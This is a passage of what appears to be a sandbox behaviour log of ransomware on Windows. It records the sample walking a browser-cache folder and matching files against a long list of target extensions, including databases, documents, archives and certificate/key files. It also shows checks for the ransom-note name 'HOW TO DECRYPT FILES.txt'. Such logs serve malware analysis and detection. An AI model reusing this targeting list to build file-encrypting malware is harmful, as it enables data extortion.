pszSpec="*.sql") returned 0 [0082.410] lstrlenA (lpString="*.sql") returned 5 [0082.410] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js", pszSpec="*.mdb") returned 0 [0082.410] lstrlenA (lpString="*.mdb") returned 5 [0082.410] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js", pszSpec="*.fdb") returned 0 [0082.410] lstrlenA (lpString="*.fdb") returned 5 [0082.410] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js", pszSpec="*.wab") returned 0 [0082.410] lstrlenA (lpString="*.wab") returned 5 [0082.410] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js", pszSpec="*.dat") returned 0 [0082.410] lstrlenA (lpString="*.dat") returned 5 [0082.410] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js", pszSpec="*.txt") returned 0 [0082.410] lstrlenA (lpString="*.txt") returned 5 [0082.410] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js", pszSpec="*.jpeg") returned 0 [0082.410] lstrlenA (lpString="*.jpeg") returned 6 [0082.410] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js", pszSpec="*.jpg") returned 0 [0082.410] lstrlenA (lpString="*.jpg") returned 5 [0082.410] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js", pszSpec="*.png") returned 0 [0082.410] lstrlenA (lpString="*.png") returned 5 [0082.411] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js", pszSpec="*.php") returned 0 [0082.411] lstrlenA (lpString="*.php") returned 5 [0082.411] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js", pszSpec="*.cs") returned 0 [0082.411] lstrlenA (lpString="*.cs") returned 4 [0082.411] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js", pszSpec="*.cpp") returned 0 [0082.411] lstrlenA (lpString="*.cpp") returned 5 [0082.411] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js", pszSpec="*.rar") returned 0 [0082.411] lstrlenA (lpString="*.rar") returned 5 [0082.411] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js", pszSpec="*.zip") returned 0 [0082.411] lstrlenA (lpString="*.zip") returned 5 [0082.411] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js", pszSpec="*.html") returned 0 [0082.411] lstrlenA (lpString="*.html") returned 6 [0082.411] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js", pszSpec="*.htm") returned 0 [0082.411] lstrlenA (lpString="*.htm") returned 5 [0082.411] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js", pszSpec="*.xlsx") returned 0 [0082.411] lstrlenA (lpString="*.xlsx") returned 6 [0082.411] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js", pszSpec="*.xls") returned 0 [0082.411] lstrlenA (lpString="*.xls") returned 5 [0082.411] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js", pszSpec="*.mp4") returned 0 [0082.411] lstrlenA (lpString="*.mp4") returned 5 [0082.411] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js", pszSpec="*.ppt") returned 0 [0082.411] lstrlenA (lpString="*.ppt") returned 5 [0082.411] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js", pszSpec="*.pptx") returned 0 [0082.412] lstrlenA (lpString="*.pptx") returned 6 [0082.412] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js", pszSpec="*.doc") returned 0 [0082.412] lstrlenA (lpString="*.doc") returned 5 [0082.412] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js", pszSpec="*.dot") returned 0 [0082.412] lstrlenA (lpString="*.dot") returned 5 [0082.412] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js", pszSpec="*.docx") returned 0 [0082.412] lstrlenA (lpString="*.docx") returned 6 [0082.412] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js", pszSpec="*.7z") returned 0 [0082.412] lstrlenA (lpString="*.7z") returned 4 [0082.412] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js", pszSpec="*.tar") returned 0 [0082.412] lstrlenA (lpString="*.tar") returned 5 [0082.412] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js", pszSpec="*.bz2") returned 0 [0082.412] lstrlenA (lpString="*.bz2") returned 5 [0082.412] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js", pszSpec="*.gz") returned 0 [0082.412] lstrlenA (lpString="*.gz") returned 4 [0082.412] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js", pszSpec="*.mkv") returned 0 [0082.412] lstrlenA (lpString="*.mkv") returned 5 [0082.412] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js", pszSpec="*.eml") returned 0 [0082.413] lstrlenA (lpString="*.eml") returned 5 [0082.413] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js", pszSpec="*.msg") returned 0 [0082.413] lstrlenA (lpString="*.msg") returned 5 [0082.413] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js", pszSpec="*.edb") returned 0 [0082.413] lstrlenA (lpString="*.edb") returned 5 [0082.413] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js", pszSpec="*.accdb") returned 0 [0082.413] lstrlenA (lpString="*.accdb") returned 7 [0082.413] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js", pszSpec="*.odb") returned 0 [0082.413] lstrlenA (lpString="*.odb") returned 5 [0082.413] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js", pszSpec="*.java") returned 0 [0082.413] lstrlenA (lpString="*.java") returned 6 [0082.413] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js", pszSpec="*.asm") returned 0 [0082.413] lstrlenA (lpString="*.asm") returned 5 [0082.413] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js", pszSpec="*.pfx") returned 0 [0082.413] lstrlenA (lpString="*.pfx") returned 5 [0082.413] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js", pszSpec="*.pem") returned 0 [0082.413] lstrlenA (lpString="*.pem") returned 5 [0082.413] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js", pszSpec="*.p12") returned 0 [0082.413] lstrlenA (lpString="*.p12") returned 5 [0082.413] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js", pszSpec="*.gpg") returned 0 [0082.413] lstrlenA (lpString="*.gpg") returned 5 [0082.414] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js", pszSpec="*.vsd") returned 0 [0082.414] lstrlenA (lpString="*.vsd") returned 5 [0082.414] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js", pszSpec="*.odg") returned 0 [0082.414] lstrlenA (lpString="*.odg") returned 5 [0082.414] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js", pszSpec="*.raw") returned 0 [0082.414] lstrlenA (lpString="*.raw") returned 5 [0082.414] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js", pszSpec="*.nef") returned 0 [0082.414] lstrlenA (lpString="*.nef") returned 5 [0082.414] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js", pszSpec="*.svg") returned 0 [0082.414] lstrlenA (lpString="*.svg") returned 5 [0082.414] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js", pszSpec="*.psd") returned 0 [0082.414] lstrlenA (lpString="*.psd") returned 5 [0082.414] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js", pszSpec="*.vmx") returned 0 [0082.414] lstrlenA (lpString="*.vmx") returned 5 [0082.414] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js", pszSpec="*.vmdk") returned 0 [0082.414] lstrlenA (lpString="*.vmdk") returned 6 [0082.414] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js", pszSpec="*.vdi") returned 0 [0082.414] lstrlenA (lpString="*.vdi") returned 5 [0082.414] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js", pszSpec="*.lay6") returned 0 [0082.414] lstrlenA (lpString="*.lay6") returned 6 [0082.414] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js", pszSpec="*.mpeg") returned 0 [0082.414] lstrlenA (lpString="*.mpeg") returned 6 [0082.414] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js", pszSpec="*.djvu") returned 0 [0082.415] lstrlenA (lpString="*.djvu") returned 6 [0082.415] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js", pszSpec="*.tiff") returned 0 [0082.415] lstrlenA (lpString="*.tiff") returned 6 [0082.415] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js", pszSpec="*.backup") returned 0 [0082.415] lstrlenA (lpString="*.backup") returned 8 [0082.415] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js", pszSpec="*.pdf") returned 0 [0082.415] lstrlenA (lpString="*.pdf") returned 5 [0082.415] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js", pszSpec="*.cert") returned 0 [0082.415] lstrlenA (lpString="*.cert") returned 6 [0082.415] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js", pszSpec="*.docm") returned 0 [0082.415] lstrlenA (lpString="*.docm") returned 6 [0082.415] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js", pszSpec="*.xlsm") returned 0 [0082.415] lstrlenA (lpString="*.xlsm") returned 6 [0082.415] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js", pszSpec="*.dwg") returned 0 [0082.415] lstrlenA (lpString="*.dwg") returned 5 [0082.415] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js", pszSpec="*.nd") returned 0 [0082.415] lstrlenA (lpString="*.nd") returned 4 [0082.415] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js", pszSpec="*.tlg") returned 0 [0082.415] lstrlenA (lpString="*.tlg") returned 5 [0082.415] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js", pszSpec="*.lgb") returned 0 [0082.415] lstrlenA (lpString="*.lgb") returned 5 [0082.415] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js", pszSpec="*.mov") returned 0 [0082.415] lstrlenA (lpString="*.mov") returned 5 [0082.415] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js", pszSpec="*.xdw") returned 0 [0082.416] lstrlenA (lpString="*.xdw") returned 5 [0082.416] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js", pszSpec="*.ods") returned 0 [0082.416] lstrlenA (lpString="*.ods") returned 5 [0082.416] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js", pszSpec="*.wav") returned 0 [0082.416] lstrlenA (lpString="*.wav") returned 5 [0082.416] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js", pszSpec="*.mp3") returned 0 [0082.416] lstrlenA (lpString="*.mp3") returned 5 [0082.416] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js", pszSpec="*.aiff") returned 0 [0082.416] lstrlenA (lpString="*.aiff") returned 6 [0082.416] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js", pszSpec="*.flac") returned 0 [0082.416] lstrlenA (lpString="*.flac") returned 6 [0082.416] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js", pszSpec="*.m4a") returned 0 [0082.416] lstrlenA (lpString="*.m4a") returned 5 [0082.416] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js", pszSpec="*.csv") returned 0 [0082.416] lstrlenA (lpString="*.csv") returned 5 [0082.416] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x583e0320, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x583e0320, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x583e0320, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xaf6, dwReserved0=0x730065, dwReserved1=0x4c005c, cFileName="browser[1].htm", cAlternateFileName="BROWSE~1.HTM")) returned 1 [0082.416] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0082.416] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="browser[1].htm") returned 1 [0082.416] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="browser[1].htm") returned 1 [0082.416] lstrcmpiA (lpString1="", lpString2="browser[1].htm") returned -1 [0082.416] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js") returned="bootstrap[1].js" [0082.417] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\" [0082.417] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\") returned="" [0082.417] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\HOW TO DECRYPT FILES.txt" [0082.417] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\how to decrypt files.txt")) returned 0x2020 [0082.417] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\", lpString2="browser[1].htm" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\browser[1].htm") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\browser[1].htm" [0082.417] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\browser[1].htm", pszSpec="*.ems") returned 0 [0082.417] lstrlenA (lpString="*.ems") returned 5 [0082.417] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\browser[1].htm", pszSpec="*.db") returned 0 [0082.417] lstrlenA (lpString="*.db") returned 4 [0082.417] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\browser[1].htm", pszSpec="*.dbf") returned 0 [0082.417] lstrlenA (lpString="*.dbf") returned 5 [0082.417] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\browser[1].htm", pszSpec="*.myox") returned 0 [0082.417] lstrlenA (lpString="*.myox") returned 6 [0082.417] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\browser[1].htm", pszSpec="*.myo") returned 0 [0082.417] lstrlenA (lpString="*.myo") returned 5 [0082.417] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\browser[1].htm", pszSpec="*.qbw") returned 0 [0082.417] lstrlenA (lpString="*.qbw") returned 5 [0082.417] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\browser[1].htm", pszSpec="*.qbb") returned 0 [0082.417] lstrlenA (lpString="*.qbb") returned 5 [0082.417] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\browser[1].htm", pszSpec="*.qbm") returned 0 [0082.417] lstrlenA (lpString="*.qbm") returned 5 [0082.417] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\browser[1].htm", pszSpec="*.qbo") returned 0 [0082.418] lstrlenA (lpString="*.qbo") returned 5 [0082.418] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\browser[1].htm", pszSpec="*.qbx") returned 0 [0082.418] lstrlenA (lpString="*.qbx") returned 5 [0082.418] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\browser[1].htm", pszSpec="*.qba") returned 0 [0082.418] lstrlenA (lpString="*.qba") returned 5 [0082.418] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\browser[1].htm", pszSpec="*.qby") returned 0 [0082.418] lstrlenA (lpString="*.qby") returned 5 [0082.418] PathMatchSpecA 